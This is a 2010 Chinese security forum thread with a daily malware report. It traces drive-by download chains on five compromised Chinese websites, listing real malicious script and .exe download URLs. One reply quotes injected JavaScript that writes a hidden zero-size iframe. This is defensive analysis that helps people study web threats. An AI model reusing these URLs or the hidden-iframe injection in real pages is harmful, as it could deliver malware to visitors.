瑞星卡卡安全论坛

首页 » 技术交流区 » 恶意网站交流 » 每日网马播报 » 瑞星网站每日安全播报(2010年3月5日)
networkedition - 2010-3-5 13:12:00


引用:
网址均来自瑞星每日安全播报，我们详细分析其中所挂恶意网址，对于已失效的恶意网址就不再分析。



引用:
注：以下分析出的恶意网址均包含有真实网马下载地址，请勿直接下载并运行，以免系统中招。



引用:

1. http://www.xiaoyi.ccoo.cn/（孝义在线打造本地第一门户网站）
2. http://www.xxz.gov.cn/(欢迎访问中国湘西网－魅力湘西欢迎您！)
3. http://xz.netsh.com/(乐趣网 - netsh.com 虚拟社区,免费论坛)
4. http://ypk.39.net/(药品查询_39药品查询_中国最齐全、最专业的药品数据库)
5. http://zxk.39.net/(整形项目_整形项目查询_39健康网)


用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)
networkedition - 2010-3-5 13:12:00
Log is generated by FreShow.
[wide]http://www.xiaoyi.ccoo.cn/
    [script]http://img.ccoo.cn/index7/b/baidu.js
    [frame]http://www.xiaoyi.ccoo.cn/loginv65.asp?v=b
    [frame]http://ad.ccoo.cn/xiaoyi/1591.shtml
    [frame]http://unstat.baidu.com/bdun.bsc?tn=ccoocn&cv=0&cid=190576&csid=225&bgcr=ffffff&urlcr=0000ff&tbsz=330&defid=2
    [script]http://pagead2.googlesyndication.com/pagead/show_sdo.js
    [frame]http://ad.ccoo.cn/xiaoyi/1595.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1596.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1597.shtml
        [script]http://ads.109abc.cn/ads.js
            [script]http://ads.109abc.cn/468x60.js
                [frame]http://ads.109abc.cn/460x60.htm
            [script]http://ads.109abc.cn/stat.js
                [object]http://ads.109abc.cn/undata.asp?480*60
                    [frame]http://congtouzailai2.UUSEEBLOG.INFO/bj1/index.html
                        [frame]http://congtouzailai2.UUSEEBLOG.INFO/bj1/j.html
                            [script]http://congtouzailai2.UUSEEBLOG.INFO/bj1/rl.jpg
                                [object]http://geb.gasasqww.com/040.exe
                            [script]http://congtouzailai2.UUSEEBLOG.INFO/bj1/yt1.jpg
                            [script]http://congtouzailai2.UUSEEBLOG.INFO/bj1/ytl.jpg
                        [script]http://js.tongji.linezing.com/1059500/tongji.js
    [frame]http://ad.ccoo.cn/xiaoyi/1598.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1599.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1592.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1600.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1593.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1601.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1594.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1603.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1604.shtml
    [script]http://www.xiaoyi.ccoo.cn/mystat.asp
networkedition - 2010-3-5 13:13:00
Log is generated by FreShow.
[wide]http://www.xxz.gov.cn/html/wow/109.html
    [script]http://js.users.51.la/3369876.js
    [script]http://pagead07.googlesyndications.co.cc/data/backup/abc.png?ZQPGTU
        [frame]http://www.woiyu.com/Files/BeyondPic/new.htm?cctv
            [script]http://www.woiyu.com/Files/BeyondPic/whats.jpg
                [object]http://www.woiyu.com/Files/BeyondPic/r1.exe
networkedition - 2010-3-5 13:13:00
Log generated by networkedition use mdecoder 0.41
[root]http://xz.netsh.com/bbs/781374/html/table_28343500.html
    [script]http://xz.netsh.com/eden/forum/js/func.js
    [script]http://ad.netsh.com/js/eden_note.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
            [script]http://smcommon.allyes.com/smcreative/flash_fx.js
            [script]http://smcommon.allyes.com/smcreative/newff/flashpop3.js
                [iframe]http://smcommon.allyes.com/smcreative/newff/about:blank
            [script]http://61.151.249.211:81/loadapi?z=smartmedia&n=10&tc=5&u=
            [script]http://smcommon.allyes.com/smcreative/newff/flashpop2_pop.js
            [script]http://smcommon.allyes.com/smcreative/newff/flashpop2_div.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
            [script]http://smartmedia.allyes.com/main/s?user=netsh_com|bbs_inpage|smgen&db=smartmedia&border=0&local=yes&js=ie&kv=
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
        [iframe]http://www.zhuansoo.com/search/oad/colows_555_21.jsp?fun=netsh&ftp=1
        [script]http://smjs.allyes.com/sm.js
        [script]http://smjs.allyes.com/netsh_com++bbs_inpage++smgen++show.js
    [script]http://ad.netsh.com/js/eden_note.js
    [iframe]http://xz.netsh.com/eden/forum/count_notes_browse.php?p_iForumID=781374&p_iMainNoteID=28343500&p_iNoteID=28343500
    [script]http://file0.che168.com/js.js
    [script]http://www.crcf.org.cn/logo.gif?netsh
        [iframe]http://ferrari10.7766.org:1008/c039644/c03.htm
            [iframe]http://ferrari10.7766.org:1008/c039644/ps.htm
                [script]http://ferrari10.7766.org:1008/c039644/c.js
                [script]http://ferrari10.7766.org:1008/c039644/a.jpg
                    [exe]http://bbb.brsqb.cn:1688/c03.exe
                [script]http://ferrari10.7766.org:1008/c039644/b.jpg
networkedition - 2010-3-5 13:14:00
Log is generated by FreShow.
[wide]http://ypk.39.net/yaopin/jsjnfmyy/jisulei/7bc1e.html
    [script]http://img.39.net/js/ypk/cookie.js
    [script]http://img.39.net/jswindow/javascripts/prototype.js
    [script]http://img.39.net/js/ypk/show.js
    [script]http://img.39.net/jswindow/javascripts/effects.js
    [script]http://dy.39.net/my/comment_k.js
    [frame]http://ask.39.net/aspx/iframe/jbkiframe.aspx?fid=25
    [frame]http://dpvc.39.net/adpolestar/door/;ap=47162103_8E34_080E_404A_9609EF479670;ct=if;pu=san9;/?
    [script]http://images.39.net/js/baidu/baidu_db_210.js
    [script]http://images.39.net/js/google/google_db_210.js
    [script]http://img.39.net/js/db/show_drug.js?%e4%ba%a7%e5%93%81_%e8%8d%af%e5%93%81_%e6%bf%80%e7%b4%a0%e5%8f%8a%e5%86%85%e5%88%86%e6%b3%8c%e7%94%a8%e8%8d%af_%e6%bf%80%e7%b4%a0%e7%b1%bb
    [script]http://39net.9966.org/images/css/swf.swf
        [frame]http://liudidi.9966.org/images/css/mepeg.htm
            [object]http://liudidi.9966.org/images/css/dj.jpg
                [object]http://vvvv.wwvv.us/images/css/css.swf
        [frame]http://liudidi.9966.org/images/css/tj.htm
        [frame]http://liudidi.9966.org/images/css/ff.htm
        [frame]http://liudidi.9966.org/images/css/of.htm
        [frame]http://liudidi.9966.org/images/css/dom.htm
        [frame]http://liudidi.9966.org/images/css/bf.htm
    [script]http://image.39.net/js/function.js
    [script]http://image.39.net/tools/djan.js
    [script]http://ypk.39.net/include/utility.aspx?id=506910&type=view
    [script]http://img.39.net/js/ypk/mycookie.js
    [script]http://ypk.39.net/include/addclick.aspx?id=506910
    [script]http://image.39.net/js/function.js
networkedition - 2010-3-5 13:15:00
Log is generated by FreShow.
[wide]http://zxk.39.net/zx/xiangmu/69681.html
    [script]http://images.39.net/js/tabs.js
    [script]http://img.39.net/js/ajax.js
    [script]http://img.39.net/js/db/common.js
    [script]http://img.39.net/js/db/show.js
    [script]http://img.39.net/js/zx/cookie.js
    [script]http://w212.2.wwvv.us/images/css/swf.swf
        [frame]http://liudidi.9966.org/images/css/mepeg.htm
            [object]http://liudidi.9966.org/images/css/dj.jpg
            [object]http://vvvv.wwvv.us/images/css/css.swf
                [object]http://liudidi.9966.org/images/css/dj1.jpg
        [frame]http://liudidi.9966.org/images/css/tj.htm
        [frame]http://liudidi.9966.org/images/css/ff.htm
        [frame]http://liudidi.9966.org/images/css/of.htm
        [frame]http://liudidi.9966.org/images/css/dom.htm
        [frame]http://liudidi.9966.org/images/css/bf.htm
    [frame]http://ask.39.net/iframeforum-408829.html
    [script]http://app-g.39.net/rel/k13.php?adid=80
    [script]http://app-g.39.net/rel/k13.php?adid=164
    [script]http://images.39.net/js/baidu/baidu_db_210.js
    [script]http://images.39.net/js/google/google_db_210.js
    [script]http://img.39.net/js/db/show_zxk.js
    [script]http://img.39.net/js/db/lastshow.js
    [script]http://image.39.net/js/function.js
    [script]http://image.39.net/tools/djan.js
    [script]http://dpvc.39.net/adpolestar/door/;ap=6975363C_0F99_4733_D52D_3CCBECC0985C;ct=js;pu=san9;/?
    [frame]http://dpvc.39.net/adpolestar/door/;ap=6975363C_0F99_4733_D52D_3CCBECC0985C;ct=if;pu=san9;/?
暗夜的雪 - 2010-3-5 22:38:00
Log is generated by FreShow.
[wide]http://www.xiaoyi.ccoo.cn/
    [script]http://img.ccoo.cn/index7/b/baidu.js
    [frame]http://www.xiaoyi.ccoo.cn/loginv65.asp?v=b
    [frame]http://ad.ccoo.cn/xiaoyi/1591.shtml
    [frame]http://unstat.baidu.com/bdun.bsc?tn=ccoocn&cv=0&cid=190576&csid=225&bgcr=ffffff&urlcr=0000ff&tbsz=330&defid=2
    [script]http://pagead2.googlesyndication.com/pagead/show_sdo.js
    [frame]http://ad.ccoo.cn/xiaoyi/1595.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1596.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1597.shtml
        [script]http://ads.109abc.cn/ads.js
            [script]http://ads.109abc.cn/468x60.js
                [frame]http://ads.109abc.cn/460x60.htm
                    [frame]http://ads.109abc.cn/460x60_"
            [script]http://ads.109abc.cn/stat.js
                [object]http://ads.109abc.cn/undata.asp?code=1280X800
                    [frame]http://congtouzailai2.UUSEEBLOG.INFO/bj1/index.html
                        [frame]http://congtouzailai2.UUSEEBLOG.INFO/bj1/j.html
                            [script]http://congtouzailai2.UUSEEBLOG.INFO/bj1/rl.jpg
                                [object]http://geb.gasasqww.com/040.exe
                            [script]http://congtouzailai2.UUSEEBLOG.INFO/bj1/yt1.jpg
                            [script]http://congtouzailai2.UUSEEBLOG.INFO/bj1/ytl.jpg
                        [script]http://js.tongji.linezing.com/1059500/tongji.js
    [frame]http://ad.ccoo.cn/xiaoyi/1598.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1599.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1592.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1600.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1593.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1601.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1594.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1603.shtml
    [frame]http://ad.ccoo.cn/xiaoyi/1604.shtml
    [script]http://www.xiaoyi.ccoo.cn/mystat.asp

老师~~http://ads.109abc.cn/stat.js  这个里面的代码

function getInfo(){
  temp1="";       
  temp1+=""+window.screen.width+"X";    //这个是获取屏幕宽度和高度的？？那每个人的不一样，他怎么也能识别出来这个PostUrl呢？用老师解的和                                                            //我自己解的网址不一样，居然获得了同样的后续代码？
  temp1+=""+window.screen.height;
  return temp1;
}

  var PostUrl,PostUrl1;
var text,text1;
PostUrl= "http://ads.109abc.cn/undata.asp?code="+escape(getInfo());

  text = "<iframe src='"+PostUrl+"' width=0 height=0></iframe>";

  document.writeln(text);
1
查看完整版本: 瑞星网站每日安全播报(2010年3月5日)
© 2000 - 2025 Rising Corp. Ltd.